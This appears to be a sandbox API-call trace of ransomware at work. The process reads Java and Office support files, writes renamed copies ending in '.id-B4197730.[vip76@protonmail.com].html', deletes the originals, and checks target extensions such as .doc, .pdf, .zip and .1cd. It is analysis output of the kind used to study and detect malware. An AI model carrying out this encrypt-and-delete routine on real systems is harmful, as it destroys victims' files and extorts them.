	[0083.290] lstrlenW (lpString=".jpg") returned 4
	[0083.290] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.290] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.290] lstrlenW (lpString="vstoee90.tlb") returned 12
	[0083.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.291] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=22680) returned 1
	[0083.291] CloseHandle (hObject=0x364) returned 1
	[0083.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20
	[0083.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.291] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.291] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.292] GetLastError () returned 0x0
	[0083.292] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x5898, lpOverlapped=0x0) returned 1
	[0083.784] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x58a0, lpOverlapped=0x0) returned 1
	[0083.785] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.785] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.785] SetEndOfFile (hFile=0x36c) returned 1
	[0083.786] CloseHandle (hObject=0x36c) returned 1
	[0083.786] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.786] SetEndOfFile (hFile=0x364) returned 1
	[0083.787] CloseHandle (hObject=0x364) returned 1
	[0083.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.787] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1
	[0083.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.787] lstrlenW (lpString=".doc") returned 4
	[0083.787] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.787] lstrlenW (lpString=".docx") returned 5
	[0083.787] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.787] lstrlenW (lpString=".pdf") returned 4
	[0083.787] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.787] lstrlenW (lpString=".xls") returned 4
	[0083.787] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.787] lstrlenW (lpString=".xlsx") returned 5
	[0083.787] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.787] lstrlenW (lpString=".ppt") returned 4
	[0083.787] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString=".zip") returned 4
	[0083.788] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.788] lstrlenW (lpString=".rar") returned 4
	[0083.788] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString=".bz2") returned 4
	[0083.788] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString=".7z") returned 3
	[0083.788] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString=".dbf") returned 4
	[0083.788] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString=".1cd") returned 4
	[0083.788] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString=".jpg") returned 4
	[0083.788] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.788] lstrlenW (lpString=".doc") returned 4
	[0083.788] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString=".docx") returned 5
	[0083.788] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.788] lstrlenW (lpString=".pdf") returned 4
	[0083.788] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString=".xls") returned 4
	[0083.788] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.788] lstrlenW (lpString=".xlsx") returned 5
	[0083.788] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.788] lstrlenW (lpString=".ppt") returned 4
	[0083.788] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.789] lstrlenW (lpString=".zip") returned 4
	[0083.789] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.789] lstrlenW (lpString=".rar") returned 4
	[0083.789] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.789] lstrlenW (lpString=".bz2") returned 4
	[0083.789] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.789] lstrlenW (lpString=".7z") returned 3
	[0083.789] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.789] lstrlenW (lpString=".dbf") returned 4
	[0083.789] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.789] lstrlenW (lpString=".1cd") returned 4
	[0083.789] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0083.789] lstrlenW (lpString=".jpg") returned 4
	[0083.789] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.789] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.789] lstrlenW (lpString="deployJava1.dll") returned 15
	[0083.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.790] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1026112) returned 1
	[0083.790] CloseHandle (hObject=0x364) returned 1
	[0083.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20
	[0083.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.790] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.790] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.879] GetLastError () returned 0x0
	[0083.879] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xfa840, lpOverlapped=0x0) returned 1
	[0083.900] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xfa850, lpOverlapped=0x0) returned 1
	[0084.541] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.541] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0084.541] SetEndOfFile (hFile=0x36c) returned 1
	[0084.541] CloseHandle (hObject=0x36c) returned 1
	[0084.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.542] SetEndOfFile (hFile=0x364) returned 1
	[0084.550] CloseHandle (hObject=0x364) returned 1
	[0084.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.551] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.551] lstrlenW (lpString=".doc") returned 4
	[0084.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString=".docx") returned 5
	[0084.551] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.551] lstrlenW (lpString=".pdf") returned 4
	[0084.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString=".xls") returned 4
	[0084.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString=".xlsx") returned 5
	[0084.551] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.551] lstrlenW (lpString=".ppt") returned 4
	[0084.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.551] lstrlenW (lpString=".zip") returned 4
	[0084.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString=".rar") returned 4
	[0084.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.551] lstrlenW (lpString=".bz2") returned 4
	[0084.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.551] lstrlenW (lpString=".7z") returned 3
	[0084.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString=".dbf") returned 4
	[0084.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString=".1cd") returned 4
	[0084.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString=".jpg") returned 4
	[0084.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString=".doc") returned 4
	[0084.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString=".docx") returned 5
	[0084.552] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.552] lstrlenW (lpString=".pdf") returned 4
	[0084.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString=".xls") returned 4
	[0084.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString=".xlsx") returned 5
	[0084.552] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.552] lstrlenW (lpString=".ppt") returned 4
	[0084.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.552] lstrlenW (lpString=".zip") returned 4
	[0084.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString=".rar") returned 4
	[0084.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.552] lstrlenW (lpString=".bz2") returned 4
	[0084.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.552] lstrlenW (lpString=".7z") returned 3
	[0084.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.553] lstrlenW (lpString=".dbf") returned 4
	[0084.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.553] lstrlenW (lpString=".1cd") returned 4
	[0084.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0084.553] lstrlenW (lpString=".jpg") returned 4
	[0084.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.553] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.553] lstrlenW (lpString="eula.dll") returned 8
	[0084.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.553] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=136256) returned 1
	[0084.554] CloseHandle (hObject=0x364) returned 1
	[0084.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20
	[0084.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.554] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.554] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0084.554] GetLastError () returned 0x0
	[0084.554] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x21440, lpOverlapped=0x0) returned 1
	[0084.558] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x21450, lpOverlapped=0x0) returned 1
	[0084.561] ReadFile (in: hFile=0x364, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.561] WriteFile (in: hFile=0x36c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0084.561] SetEndOfFile (hFile=0x36c) returned 1
	[0084.561] CloseHandle (hObject=0x36c) returned 1
	[0084.561] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.562] SetEndOfFile (hFile=0x364) returned 1
	[0084.563] CloseHandle (hObject=0x364) returned 1
	[0084.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.563] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1
	[0084.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.564] lstrlenW (lpString=".doc") returned 4
	[0084.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString=".docx") returned 5
	[0084.564] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0084.564] lstrlenW (lpString=".pdf") returned 4
	[0084.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString=".xls") returned 4
	[0084.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString=".xlsx") returned 5
	[0084.564] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0084.564] lstrlenW (lpString=".ppt") returned 4
	[0084.564] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.564] lstrlenW (lpString=".zip") returned 4
	[0084.564] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString=".rar") returned 4
	[0084.564] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.564] lstrlenW (lpString=".bz2") returned 4
	[0084.564] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.564] lstrlenW (lpString=".7z") returned 3
	[0084.564] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString=".dbf") returned 4
	[0084.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString=".1cd") returned 4
	[0084.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString=".jpg") returned 4
	[0084.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString=".doc") returned 4
	[0084.565] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString=".docx") returned 5
	[0084.565] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0084.565] lstrlenW (lpString=".pdf") returned 4
	[0084.565] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString=".xls") returned 4
	[0084.565] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString=".xlsx") returned 5
	[0084.565] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0084.565] lstrlenW (lpString=".ppt") returned 4
	[0084.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.565] lstrlenW (lpString=".zip") returned 4
	[0084.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString=".rar") returned 4
	[0084.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.565] lstrlenW (lpString=".bz2") returned 4
	[0084.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.566] lstrlenW (lpString=".7z") returned 3
	[0084.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.566] lstrlenW (lpString=".dbf") returned 4
	[0084.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.566] lstrlenW (lpString=".1cd") returned 4
	[0084.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0084.566] lstrlenW (lpString=".jpg") returned 4
	[0084.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.566] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.566] lstrlenW (lpString="fontmanager.dll") returned 15
	[0084.566] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.033] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=274496) returned 1
	[0085.033] CloseHandle (hObject=0x36c) returned 1
	[0085.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20
